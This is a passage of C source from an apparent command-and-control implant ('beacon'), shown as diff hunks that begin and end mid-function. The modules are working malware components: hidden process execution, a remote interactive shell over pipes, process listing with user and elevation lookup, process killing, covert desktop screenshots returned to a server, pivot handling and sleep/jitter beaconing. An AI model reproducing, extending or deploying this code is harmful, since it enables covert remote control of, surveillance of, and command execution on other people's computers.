waitMs = ( now >= deadline ) ? 0 : (DWORD)( deadline - now );
}
if ( waitMs > 100 )
waitMs = 100;
/* arm next header read */
NaxPostPivotHeaderRead( Nax, p );
if ( ! p->Async->RdPending ) break;
}
_cleanup:
if ( broken ) {
Nax->Kernel32.CancelIo( p->hPipe );
Nax->Kernel32.CloseHandle( p->hPipe );
if ( p->Async->OvRead.hEvent )
Nax->Ntdll.NtClose( p->Async->OvRead.hEvent );
if ( p->Async->hWriteEvent )
Nax->Ntdll.NtClose( p->Async->hWriteEvent );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p->Async );
/* entry: entry_len(4) | type(1)=UNLINK | pivot_id(4) | disconnect_type(1) */
UINT32 entryBody = 1 + 4 + 1;
if ( written + 4 + entryBody <= out_cap ) {
PBYTE cur = out + written;
*(UINT32*)cur = entryBody;
cur[4] = NAX_PIV_TYPE_UNLINK;
*(UINT32*)( cur + 5 ) = p->Id;
cur[9] = 10; /* PIVOT_TYPE_DISCONNECT */
written += 4 + entryBody;
}
*pp = p->Next;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p );
} else {
pp = &p->Next;
}
}
return written;
}
+22
View File
@@ -0,0 +1,22 @@
/* beacon/src/Commands/Profile.c
* CMD_PROFILE (0x30) - apply a v2 profile update at runtime. */
#include "Nax.h"
FUNC INT CmdProfile( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 4 ) {
out[0] = NAX_STATUS_ERR;
*out_len = 1;
return NAX_OK;
}
INT rc = NaxApplyProfile( Nax, args, args_len );
if ( rc == NAX_OK ) {
out[0] = NAX_STATUS_OK;
*out_len = 1;
} else {
out[0] = NAX_STATUS_ERR;
*out_len = 1;
}
return NAX_OK;
}
+316
View File
@@ -0,0 +1,316 @@
#include "Nax.h"
#include "Common.h"
/* ========= [ TokenToUser - resolve SID to domain\username + elevation ] ========= */
static BOOL NaxTokenToUser( PNAX_INSTANCE Nax, HANDLE hToken, PCHAR username, DWORD* usernameSize, PCHAR domain, DWORD* domainSize, BOOL* elevated ) {
if ( !hToken || !Nax->Advapi32.GetTokenInformation || !Nax->Advapi32.LookupAccountSidA )
return FALSE;
BOOL result = FALSE;
DWORD tokenInfoSize = 0;
Nax->Advapi32.GetTokenInformation( hToken, TokenUser, NULL, 0, &tokenInfoSize );
if ( tokenInfoSize == 0 ) return FALSE;
PVOID tokenInfo = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, tokenInfoSize );
if ( !tokenInfo ) return FALSE;
if ( Nax->Advapi32.GetTokenInformation( hToken, TokenUser, tokenInfo, tokenInfoSize, &tokenInfoSize ) ) {
SID_NAME_USE sidType;
result = Nax->Advapi32.LookupAccountSidA( NULL, ((PTOKEN_USER)tokenInfo)->User.Sid, username, usernameSize, domain, domainSize, &sidType );
}
struct { DWORD TokenIsElevated; } elev;
DWORD elevSize = sizeof( elev );
if ( Nax->Advapi32.GetTokenInformation( hToken, (TOKEN_INFORMATION_CLASS)20, &elev, sizeof( elev ), &elevSize ) )
*elevated = elev.TokenIsElevated ? TRUE : FALSE;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, tokenInfo );
return result;
}
/* ========= [ CMD_PS_LIST (0x23) ] ========= */
/* Wire format (success):
* result(1)=1 + count(4LE) + count × [pid(2LE) + ppid(2LE) + session(2LE) + arch64(1) + elevated(1) + domain_len(2LE)+domain + username_len(2LE)+username + procname_len(2LE)+procname]
* Wire format (failure):
* result(1)=0 + error_code(4LE) */
FUNC INT CmdPsList( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
(void)args; (void)args_len;
if ( *out_len < 5 ) return NAX_ERR_NOMEM;
ULONG spiSize = 0;
NTSTATUS status = Nax->Ntdll.NtQuerySystemInformation( SystemProcessInformation, NULL, 0, &spiSize );
if ( status != STATUS_INFO_LENGTH_MISMATCH ) {
out[0] = 0;
out[1] = NAX_ERROR_INVALID_PARAMETER; out[2] = 0; out[3] = 0; out[4] = 0;
*out_len = 5;
return NAX_OK;
}
spiSize += NAX_SYSINFO_EXTRA_BUF;
PSYSTEM_PROCESS_INFORMATION spi = (PSYSTEM_PROCESS_INFORMATION)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, spiSize );
if ( !spi ) return NAX_ERR_NOMEM;
status = Nax->Ntdll.NtQuerySystemInformation( SystemProcessInformation, spi, spiSize, &spiSize );
if ( !NT_SUCCESS( status ) ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, spi );
out[0] = 0;
out[1] = NAX_ERROR_INVALID_PARAMETER; out[2] = 0; out[3] = 0; out[4] = 0;
*out_len = 5;
return NAX_OK;
}
PSYSTEM_PROCESS_INFORMATION spiStart = spi;
DWORD accessMask = PROCESS_QUERY_LIMITED_INFORMATION;
UINT32 cap = *out_len;
out[0] = 1;
PBYTE countPos = out + 1;
UINT32 pos = 5;
UINT32 count = 0;
do {
if ( !spi->ImageName.Buffer ) goto next_entry;
BOOL elevated = FALSE;
BYTE arch64 = NAX_ARCH_UNKNOWN;
CHAR procName[260];
DWORD usernameLen = MAX_PATH;
CHAR username[MAX_PATH];
DWORD domSize = MAX_PATH;
CHAR domain[MAX_PATH];
MmZero( procName, 260 );
MmZero( username, MAX_PATH );
MmZero( domain, MAX_PATH );
OBJECT_ATTRIBUTES objAttr;
MmZero( &objAttr, sizeof( objAttr ) );
objAttr.Length = sizeof( OBJECT_ATTRIBUTES );
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
CLIENT_ID clientId;
MmZero( &clientId, sizeof( clientId ) );
clientId.UniqueProcess = spi->UniqueProcessId;
NTSTATUS ns = Nax->Ntdll.NtOpenProcess( &hProcess, accessMask, &objAttr, &clientId );
if ( NT_SUCCESS( ns ) ) {
ULONG_PTR piWow64 = 0;
ns = Nax->Ntdll.NtQueryInformationProcess( hProcess, ProcessWow64Information, &piWow64, sizeof( ULONG_PTR ), NULL );
if ( NT_SUCCESS( ns ) )
arch64 = ( piWow64 == 0 ) ? 1 : 0;
ns = Nax->Ntdll.NtOpenProcessToken( hProcess, NAX_TOKEN_QUERY, &hToken );
if ( NT_SUCCESS( ns ) )
NaxTokenToUser( Nax, hToken, username, &usernameLen, domain, &domSize, &elevated );
}
/* Convert process name from wide to narrow */
UINT32 imgChars = spi->ImageName.Length / 2;
if ( imgChars > 259 ) imgChars = 259;
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, spi->ImageName.Buffer, (INT)imgChars, procName, 259, NULL, NULL );
/* Measure string lengths */
UINT32 pnLen = 0; while ( procName[pnLen] ) pnLen++;
UINT32 unLen = 0; while ( username[unLen] ) unLen++;
UINT32 dmLen = 0; while ( domain[dmLen] ) dmLen++;
/* per-entry size: pid(2) + ppid(2) + session(2) + arch64(1) + elevated(1) + domain(2+n) + username(2+n) + procname(2+n) */
UINT32 entrySize = 2 + 2 + 2 + 1 + 1 + 2 + dmLen + 2 + unLen + 2 + pnLen;
if ( pos + entrySize > cap ) goto cleanup;
PBYTE p = out + pos;
NaxW16( p, (UINT16)(UINT_PTR)spi->UniqueProcessId ); p += 2;
NaxW16( p, (UINT16)(UINT_PTR)spi->InheritedFromUniqueProcessId ); p += 2;
NaxW16( p, (UINT16)spi->SessionId ); p += 2;
*p++ = arch64;
*p++ = elevated ? 1 : 0;
NaxW16( p, (UINT16)dmLen ); p += 2;
if ( dmLen > 0 ) { MmCopy( p, domain, dmLen ); p += dmLen; }
NaxW16( p, (UINT16)unLen ); p += 2;
if ( unLen > 0 ) { MmCopy( p, username, unLen ); p += unLen; }
NaxW16( p, (UINT16)pnLen ); p += 2;
if ( pnLen > 0 ) { MmCopy( p, procName, pnLen ); p += pnLen; }
pos += entrySize;
count++;
if ( hProcess ) Nax->Ntdll.NtClose( hProcess );
if ( hToken ) Nax->Ntdll.NtClose( hToken );
goto next_entry;
cleanup:
if ( hProcess ) Nax->Ntdll.NtClose( hProcess );
if ( hToken ) Nax->Ntdll.NtClose( hToken );
break;
next_entry:
if ( !spi->NextEntryOffset ) break;
spi = (PSYSTEM_PROCESS_INFORMATION)( (PBYTE)spi + spi->NextEntryOffset );
} while ( 1 );
/* Write count into the reserved slot */
countPos[0] = (BYTE)( count & 0xFF );
countPos[1] = (BYTE)( ( count >> 8 ) & 0xFF );
countPos[2] = (BYTE)( ( count >> 16 ) & 0xFF );
countPos[3] = (BYTE)( ( count >> 24 ) & 0xFF );
*out_len = pos;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, spiStart );
return NAX_OK;
}
/* ========= [ CMD_PS_KILL (0x24) ] ========= */
/* args: pid(4LE)
* result (success): pid(4LE)
* result (failure): Win32 error via NaxWriteWin32Err */
FUNC INT CmdPsKill( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 4 || *out_len < 4 ) return NAX_ERR_INVAL;
UINT32 pid = (UINT32)args[0] | ( (UINT32)args[1] << 8 ) | ( (UINT32)args[2] << 16 ) | ( (UINT32)args[3] << 24 );
OBJECT_ATTRIBUTES objAttr;
MmZero( &objAttr, sizeof( objAttr ) );
objAttr.Length = sizeof( OBJECT_ATTRIBUTES );
CLIENT_ID clientId;
MmZero( &clientId, sizeof( clientId ) );
clientId.UniqueProcess = (HANDLE)(UINT_PTR)pid;
HANDLE hProcess = NULL;
NTSTATUS status = Nax->Ntdll.NtOpenProcess( &hProcess, PROCESS_TERMINATE, &objAttr, &clientId );
if ( !NT_SUCCESS( status ) ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
status = Nax->Ntdll.NtTerminateProcess( hProcess, 0 );
Nax->Ntdll.NtClose( hProcess );
if ( !NT_SUCCESS( status ) ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
/* Return the killed PID as confirmation */
out[0] = (BYTE)( pid & 0xFF );
out[1] = (BYTE)( ( pid >> 8 ) & 0xFF );
out[2] = (BYTE)( ( pid >> 16 ) & 0xFF );
out[3] = (BYTE)( ( pid >> 24 ) & 0xFF );
*out_len = 4;
return NAX_OK;
}
/* ========= [ CMD_PS_RUN (0x25) ] ========= */
/* args: flags(1) + cmdline_len(4LE) + cmdline
* flags bit 0 (0x01): capture stdout/stderr (-o)
* flags bit 1 (0x02): create suspended (-s)
* flags bit 2 (0x04): use impersonation (-i, reserved)
* result (success): pid(4LE) + flags(1) + output_text (if -o)
* result (failure): Win32 error via NaxWriteWin32Err */
FUNC INT CmdPsRun( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 5 || *out_len < 5 ) return NAX_ERR_INVAL;
BYTE flags = args[0];
BYTE wantOutput = ( flags & 0x01 ) ? 1 : 0;
BYTE suspended = ( flags & 0x02 ) ? 1 : 0;
UINT32 cmdLen = (UINT32)args[1] | ( (UINT32)args[2] << 8 ) | ( (UINT32)args[3] << 16 ) | ( (UINT32)args[4] << 24 );
if ( 5 + cmdLen > args_len || cmdLen == 0 ) return NAX_ERR_INVAL;
/* Build NUL-terminated command line on heap */
PCHAR cmdline = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, cmdLen + 1 );
if ( !cmdline ) return NAX_ERR_NOMEM;
MmCopy( cmdline, args + 5, cmdLen );
cmdline[cmdLen] = '\0';
HANDLE pipeRead = NULL, pipeWrite = NULL;
if ( wantOutput && !suspended ) {
SECURITY_ATTRIBUTES sa;
MmZero( &sa, sizeof( sa ) );
sa.nLength = sizeof( SECURITY_ATTRIBUTES );
sa.bInheritHandle = TRUE;
if ( !Nax->Kernel32.CreatePipe( &pipeRead, &pipeWrite, &sa, 0 ) ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
}
STARTUPINFOA si;
MmZero( &si, sizeof( si ) );
si.cb = sizeof( STARTUPINFOA );
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if ( wantOutput && !suspended ) {
si.hStdOutput = pipeWrite;
si.hStdError = pipeWrite;
}
PROCESS_INFORMATION pi;
MmZero( &pi, sizeof( pi ) );
DWORD creationFlags = CREATE_NO_WINDOW;
if ( suspended ) creationFlags |= CREATE_SUSPENDED;
BOOL ok = Nax->Kernel32.CreateProcessA( NULL, cmdline, NULL, NULL, ( wantOutput && !suspended ) ? TRUE : FALSE, creationFlags, NULL, NULL, &si, &pi );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
if ( !ok ) {
if ( pipeRead ) Nax->Kernel32.CloseHandle( pipeRead );
if ( pipeWrite ) Nax->Kernel32.CloseHandle( pipeWrite );
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
UINT32 pid = (UINT32)(UINT_PTR)pi.dwProcessId;
/* Write result header: pid(4LE) + flags(1) */
out[0] = (BYTE)( pid & 0xFF );
out[1] = (BYTE)( ( pid >> 8 ) & 0xFF );
out[2] = (BYTE)( ( pid >> 16 ) & 0xFF );
out[3] = (BYTE)( ( pid >> 24 ) & 0xFF );
out[4] = flags;
UINT32 pos = 5;
if ( wantOutput && !suspended ) {
Nax->Kernel32.CloseHandle( pipeWrite );
pipeWrite = NULL;
Nax->Kernel32.WaitForSingleObject( pi.hProcess, NAX_PS_OUTPUT_WAIT_MS );
BYTE readBuf[4096];
for ( ;; ) {
DWORD avail = 0;
if ( !Nax->Kernel32.PeekNamedPipe( pipeRead, NULL, 0, NULL, &avail, NULL ) || avail == 0 ) break;
DWORD bytesRead = 0;
DWORD toRead = avail < sizeof( readBuf ) ? avail : sizeof( readBuf );
if ( !Nax->Kernel32.ReadFile( pipeRead, readBuf, toRead, &bytesRead, NULL ) || bytesRead == 0 ) break;
UINT32 space = ( *out_len > pos ) ? ( *out_len - pos ) : 0;
UINT32 copy = ( bytesRead <= space ) ? bytesRead : space;
if ( copy > 0 ) {
MmCopy( out + pos, readBuf, copy );
pos += copy;
}
if ( copy < bytesRead ) break;
}
Nax->Kernel32.CloseHandle( pipeRead );
Nax->Ntdll.NtTerminateProcess( pi.hProcess, 0 );
}
Nax->Kernel32.CloseHandle( pi.hProcess );
Nax->Kernel32.CloseHandle( pi.hThread );
*out_len = pos;
return NAX_OK;
}
+102
View File
@@ -0,0 +1,102 @@
/* beacon/src/Commands/Screenshot.c
* CMD_SCREENSHOT (0x21) - capture desktop via GDI and return as a BMP wrapped in
* the CALLBACK_AX_SCREENSHOT (0x81) tagged format so the server calls TsScreenshotAdd.
*
* Result layout (same as AxAddScreenshot BOF proxy):
* [0x81][note_len(4LE)=0][note(0)][bmp_len(4LE)][bmp_bytes]
*
* The BMP is a 24-bpp top-down Device-Independent Bitmap:
* BITMAPFILEHEADER (14 bytes) + BITMAPINFOHEADER (40 bytes) + pixel rows.
* Row stride is DWORD-aligned: (width*3 + 3) & ~3. */
#include "Nax.h"
#include "Bof.h"
#include "Screenshot.h"
FUNC INT NaxCmdScreenshot( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
NaxDbg( Nax, "[scr] GetDC=%p BitBlt=%p GetDIBits=%p",
(PVOID)Nax->User32.GetDC, (PVOID)Nax->Gdi32.BitBlt, (PVOID)Nax->Gdi32.GetDIBits );
if ( !Nax->User32.GetDC || !Nax->Gdi32.BitBlt || !Nax->Gdi32.GetDIBits ) {
NaxDbg( Nax, "[scr] GDI not available - user32/gdi32 not loaded" );
return NAX_ERR_FAIL;
}
INT cx = Nax->User32.GetSystemMetrics( NX_SM_CXSCREEN );
INT cy = Nax->User32.GetSystemMetrics( NX_SM_CYSCREEN );
if ( cx <= 0 || cy <= 0 ) return NAX_ERR_FAIL;
/* Capture screen */
HDC hdcSrc = Nax->User32.GetDC( NULL );
if ( !hdcSrc ) return NAX_ERR_FAIL;
HDC hdcMem = Nax->Gdi32.CreateCompatibleDC( hdcSrc );
HBITMAP hBmp = Nax->Gdi32.CreateCompatibleBitmap( hdcSrc, cx, cy );
if ( !hdcMem || !hBmp ) {
if ( hBmp ) Nax->Gdi32.DeleteObject( hBmp );
if ( hdcMem ) Nax->Gdi32.DeleteDC( hdcMem );
Nax->User32.ReleaseDC( NULL, hdcSrc );
return NAX_ERR_FAIL;
}
HGDIOBJ hOld = Nax->Gdi32.SelectObject( hdcMem, hBmp );
Nax->Gdi32.BitBlt( hdcMem, 0, 0, cx, cy, hdcSrc, 0, 0, NX_SRCCOPY );
Nax->Gdi32.SelectObject( hdcMem, hOld );
Nax->User32.ReleaseDC( NULL, hdcSrc );
/* Compute sizes */
UINT32 stride = ( (UINT32)cx * 3u + 3u ) & ~3u; /* DWORD-aligned 24bpp row */
UINT32 pixel_sz = stride * (UINT32)cy;
UINT32 bmp_sz = 14u + 40u + pixel_sz; /* FILEHEADER + INFOHEADER + pixels */
/* Result: [0x81][note_len=0(4)][bmp_len(4)][bmp] */
UINT32 result_sz = 1u + 4u + 4u + bmp_sz;
if ( result_sz > *out_len ) {
Nax->Gdi32.DeleteObject( hBmp );
Nax->Gdi32.DeleteDC( hdcMem );
return NAX_ERR_NOMEM;
}
PBYTE p = out;
/* Type tag */
*p++ = CALLBACK_AX_SCREENSHOT;
/* note_len = 0 */
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
/* bmp_len */
NaxW32( p, bmp_sz ); p += 4;
/* BITMAPFILEHEADER (14 bytes) */
p[0] = 'B'; p[1] = 'M';
NaxW32( p + 2, bmp_sz ); /* bfSize */
NaxW32( p + 6, 0 ); /* bfReserved1+2 */
NaxW32( p + 10, 14u + 40u ); /* bfOffBits */
p += 14;
/* BITMAPINFOHEADER (40 bytes) */
NaxW32( p, 40u ); /* biSize */
NaxW32( p + 4, (UINT32)cx ); /* biWidth */
NaxW32( p + 8, (UINT32)cy ); /* biHeight (positive = bottom-up) */
p[12] = 1; p[13] = 0; /* biPlanes = 1 */
p[14] = 24; p[15] = 0; /* biBitCount = 24 */
NaxW32( p + 16, 0 ); /* biCompression = BI_RGB */
NaxW32( p + 20, pixel_sz ); /* biSizeImage */
NaxW32( p + 24, 0 ); /* biXPelsPerMeter */
NaxW32( p + 28, 0 ); /* biYPelsPerMeter */
NaxW32( p + 32, 0 ); /* biClrUsed */
NaxW32( p + 36, 0 ); /* biClrImportant */
/* GetDIBits fills pixel data into p+40 using the BITMAPINFO at p */
Nax->Gdi32.GetDIBits( hdcMem, hBmp, 0, (UINT)cy,
p + 40,
(PVOID)p, /* BITMAPINFO* - reuses INFOHEADER above */
NX_DIB_RGB_COLORS );
p += 40 + pixel_sz;
Nax->Gdi32.DeleteObject( hBmp );
Nax->Gdi32.DeleteDC( hdcMem );
*out_len = result_sz;
return NAX_OK;
}
+277
View File
@@ -0,0 +1,277 @@
/* beacon/src/Commands/Shell.c
* Remote interactive shell - bidirectional pipe to cmd.exe/powershell.exe.
* Shells live in Nax->ShellHead; output is drained by NaxProcessShells on
* each heartbeat and returned in job-result wire format. */
#include "Nax.h"
#define SHELL_READ_BUF 4096u
/* ========= [ linked-list helpers ] ========= */
FUNC static NAX_SHELL* ShellFind( PNAX_INSTANCE Nax, UINT32 terminalId ) {
NAX_SHELL* s = Nax->ShellHead;
while ( s ) {
if ( s->TerminalId == terminalId )
return s;
s = s->Next;
}
return NULL;
}
FUNC static VOID ShellFree( PNAX_INSTANCE Nax, NAX_SHELL* s ) {
if ( s->hStdinWrite ) Nax->Kernel32.CloseHandle( s->hStdinWrite );
if ( s->hStdoutRead ) Nax->Kernel32.CloseHandle( s->hStdoutRead );
if ( s->hThread ) Nax->Kernel32.CloseHandle( s->hThread );
if ( s->hProcess ) Nax->Kernel32.CloseHandle( s->hProcess );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, s );
}
/* ========= [ CmdShellStart ] ========= */
FUNC static VOID CmdShellStart( PNAX_INSTANCE Nax, UINT32 terminalId, const PBYTE args, UINT32 argsLen ) {
if ( argsLen < 4 ) return;
UINT32 progLen = NaxR32( args );
if ( 4 + progLen > argsLen || progLen == 0 ) return;
PCHAR cmdline = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, progLen + 1 );
if ( !cmdline ) return;
MmCopy( cmdline, args + 4, progLen );
cmdline[ progLen ] = '\0';
/* create stdin pipe: parent writes, child reads */
HANDLE hStdinRead = NULL;
HANDLE hStdinWrite = NULL;
/* create stdout pipe: child writes, parent reads */
HANDLE hStdoutRead = NULL;
HANDLE hStdoutWrite = NULL;
SECURITY_ATTRIBUTES sa;
MmZero( &sa, sizeof( sa ) );
sa.nLength = sizeof( SECURITY_ATTRIBUTES );
sa.bInheritHandle = TRUE;
if ( !Nax->Kernel32.CreatePipe( &hStdinRead, &hStdinWrite, &sa, 0 ) ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
return;
}
if ( !Nax->Kernel32.CreatePipe( &hStdoutRead, &hStdoutWrite, &sa, 0 ) ) {
Nax->Kernel32.CloseHandle( hStdinRead );
Nax->Kernel32.CloseHandle( hStdinWrite );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
return;
}
STARTUPINFOA si;
MmZero( &si, sizeof( si ) );
si.cb = sizeof( STARTUPINFOA );
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = hStdinRead;
si.hStdOutput = hStdoutWrite;
si.hStdError = hStdoutWrite;
PROCESS_INFORMATION pi;
MmZero( &pi, sizeof( pi ) );
BOOL ok = Nax->Kernel32.CreateProcessA( NULL, cmdline, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cmdline );
/* child-side pipe ends are now owned by the child; close our copies */
Nax->Kernel32.CloseHandle( hStdinRead );
Nax->Kernel32.CloseHandle( hStdoutWrite );
if ( !ok ) {
Nax->Kernel32.CloseHandle( hStdinWrite );
Nax->Kernel32.CloseHandle( hStdoutRead );
return;
}
NAX_SHELL* s = (NAX_SHELL*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_SHELL ) );
if ( !s ) {
Nax->Ntdll.NtTerminateProcess( pi.hProcess, 0 );
Nax->Kernel32.CloseHandle( pi.hProcess );
Nax->Kernel32.CloseHandle( pi.hThread );
Nax->Kernel32.CloseHandle( hStdinWrite );
Nax->Kernel32.CloseHandle( hStdoutRead );
return;
}
MmZero( s, sizeof( NAX_SHELL ) );
s->TerminalId = terminalId;
s->hProcess = pi.hProcess;
s->hThread = pi.hThread;
s->hStdinWrite = hStdinWrite;
s->hStdoutRead = hStdoutRead;
s->State = NAX_JOB_RUNNING;
s->Started = 0;
s->Next = Nax->ShellHead;
Nax->ShellHead = s;
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
}
/* ========= [ CmdShellWrite ] ========= */
FUNC static VOID CmdShellWrite( PNAX_INSTANCE Nax, const PBYTE args, UINT32 argsLen ) {
if ( argsLen < 8 ) return;
UINT32 terminalId = NaxR32( args );
UINT32 dataLen = NaxR32( args + 4 );
if ( 8 + dataLen > argsLen || dataLen == 0 ) return;
NAX_SHELL* s = ShellFind( Nax, terminalId );
if ( !s || s->State != NAX_JOB_RUNNING ) return;
DWORD written = 0;
Nax->Kernel32.WriteFile( s->hStdinWrite, args + 8, dataLen, &written, NULL );
}
/* ========= [ CmdShellClose ] ========= */
FUNC static VOID CmdShellClose( PNAX_INSTANCE Nax, const PBYTE args, UINT32 argsLen ) {
if ( argsLen < 4 ) return;
UINT32 terminalId = NaxR32( args );
NAX_SHELL* s = ShellFind( Nax, terminalId );
if ( !s ) return;
s->State = NAX_JOB_KILLED;
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
}
/* ========= [ NaxShellDispatch ] ========= */
FUNC VOID NaxShellDispatch( PNAX_INSTANCE Nax, UINT32 taskId, BYTE cmdId, const PBYTE args, UINT32 argsLen ) {
if ( cmdId == NAX_CMD_SHELL_START )
CmdShellStart( Nax, taskId, args, argsLen );
else if ( cmdId == NAX_CMD_SHELL_WRITE )
CmdShellWrite( Nax, args, argsLen );
else if ( cmdId == NAX_CMD_SHELL_CLOSE )
CmdShellClose( Nax, args, argsLen );
}
/* ========= [ NaxProcessShells - heartbeat drain ] ========= */
FUNC UINT32 NaxProcessShells( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) {
UINT32 written = 0;
NAX_SHELL** pp = &Nax->ShellHead;
while ( *pp ) {
NAX_SHELL* s = *pp;
/* ---- alive: drain stdout ---- */
if ( s->State == NAX_JOB_RUNNING ) {
/* send empty output once as STARTING notification */
if ( !s->Started ) {
if ( written + 9 <= out_cap ) {
out[ written ] = NAX_JOB_OUTPUT;
NaxW32( out + written + 1, s->TerminalId );
NaxW32( out + written + 5, 0 );
written += 9;
}
s->Started = 1;
}
/* check whether child has exited */
BOOL exited = ( Nax->Kernel32.WaitForSingleObject( s->hProcess, 0 ) == WAIT_OBJECT_0 );
/* drain available stdout bytes - read directly into out to avoid extra stack buf */
for ( ;; ) {
DWORD avail = 0;
if ( !Nax->Kernel32.PeekNamedPipe( s->hStdoutRead, NULL, 0, NULL, &avail, NULL ) || avail == 0 )
break;
UINT32 hdr_off = written;
UINT32 data_off = written + 9;
if ( data_off >= out_cap ) break;
UINT32 space = out_cap - data_off;
DWORD toRead = ( avail < space ) ? avail : (DWORD)space;
if ( toRead > SHELL_READ_BUF ) toRead = SHELL_READ_BUF;
DWORD bytesRead = 0;
if ( !Nax->Kernel32.ReadFile( s->hStdoutRead, out + data_off, toRead, &bytesRead, NULL ) || bytesRead == 0 )
break;
out[ hdr_off ] = NAX_JOB_OUTPUT;
NaxW32( out + hdr_off + 1, s->TerminalId );
NaxW32( out + hdr_off + 5, bytesRead );
written += 9 + bytesRead;
}
if ( exited )
s->State = NAX_JOB_FINISHED;
pp = &s->Next;
continue;
}
/* ---- finished or killed: final drain + send completion + unlink ---- */
BYTE final_type = ( s->State == NAX_JOB_KILLED ) ? NAX_JOB_KILLED : NAX_JOB_COMPLETE;
if ( s->State == NAX_JOB_KILLED ) {
/* terminate the child process */
Nax->Ntdll.NtTerminateProcess( s->hProcess, 0 );
}
/* drain any remaining stdout before reporting completion */
for ( ;; ) {
DWORD avail = 0;
if ( !Nax->Kernel32.PeekNamedPipe( s->hStdoutRead, NULL, 0, NULL, &avail, NULL ) || avail == 0 )
break;
UINT32 hdr_off = written;
UINT32 data_off = written + 9;
if ( data_off >= out_cap ) break;
UINT32 space = out_cap - data_off;
DWORD toRead = ( avail < space ) ? avail : (DWORD)space;
if ( toRead > SHELL_READ_BUF ) toRead = SHELL_READ_BUF;
DWORD bytesRead = 0;
if ( !Nax->Kernel32.ReadFile( s->hStdoutRead, out + data_off, toRead, &bytesRead, NULL ) || bytesRead == 0 )
break;
out[ hdr_off ] = NAX_JOB_OUTPUT;
NaxW32( out + hdr_off + 1, s->TerminalId );
NaxW32( out + hdr_off + 5, bytesRead );
written += 9 + bytesRead;
}
/* send completion record */
if ( final_type == NAX_JOB_COMPLETE ) {
/* 4-byte exit status as data (via NtQueryInformationProcess) */
PROCESS_BASIC_INFORMATION pbi;
MmZero( &pbi, sizeof( pbi ) );
Nax->Ntdll.NtQueryInformationProcess( s->hProcess, ProcessBasicInformation, &pbi, sizeof( pbi ), NULL );
UINT32 exitCode = (UINT32)pbi.ExitStatus;
if ( written + 13 <= out_cap ) {
out[ written ] = NAX_JOB_COMPLETE;
NaxW32( out + written + 1, s->TerminalId );
NaxW32( out + written + 5, 4 );
NaxW32( out + written + 9, exitCode );
written += 13;
}
} else {
/* KILLED: empty data */
if ( written + 9 <= out_cap ) {
out[ written ] = NAX_JOB_KILLED;
NaxW32( out + written + 1, s->TerminalId );
NaxW32( out + written + 5, 0 );
written += 9;
}
}
/* unlink */
*pp = s->Next;
ShellFree( Nax, s );
}
return written;
}
+55
View File
@@ -0,0 +1,55 @@
/* beacon/src/Commands/Sleep.c
* CMD_SLEEP (0x11) - update sleep interval and jitter, return confirmation. */
#include "Nax.h"
FUNC INT NaxCmdSleep( PNAX_INSTANCE Nax,
const PBYTE args, UINT32 args_len,
PBYTE out, UINT32* out_len ) {
if ( args_len < 5 || args == NULL )
return NAX_ERR_INVAL;
UINT32 new_ms = (UINT32)args[0] | ( (UINT32)args[1] << 8 ) | ( (UINT32)args[2] << 16 ) | ( (UINT32)args[3] << 24 );
BYTE new_jitter = args[4];
if ( new_jitter > 100 )
new_jitter = 100;
Nax->Config.SleepMs = new_ms;
Nax->Config.JitterPct = new_jitter;
if ( *out_len < 64 )
return NAX_ERR_NOMEM;
/* Binary prefix: sleep_ms(4LE) | jitter_pct(1) */
PBYTE p = out;
p[0] = (BYTE)( new_ms & 0xFFu );
p[1] = (BYTE)( ( new_ms >> 8 ) & 0xFFu );
p[2] = (BYTE)( ( new_ms >> 16 ) & 0xFFu );
p[3] = (BYTE)( ( new_ms >> 24 ) & 0xFFu );
p[4] = new_jitter;
UINT32 pos = 5;
/* "sleep=" */
CHAR pfx[] = { 's', 'l', 'e', 'e', 'p', '=' };
MmCopy( out + pos, pfx, 6 );
pos += 6;
if ( new_ms == 0 || ( new_ms % 1000u ) == 0 ) {
pos += NaxUToStr( new_ms / 1000u, (PCHAR)out + pos );
out[pos++] = 's';
} else {
pos += NaxUToStr( new_ms, (PCHAR)out + pos );
out[pos++] = 'm';
out[pos++] = 's';
}
if ( new_jitter > 0 ) {
CHAR jfx[] = { ' ', 'j', 'i', 't', 't', 'e', 'r', '=' };
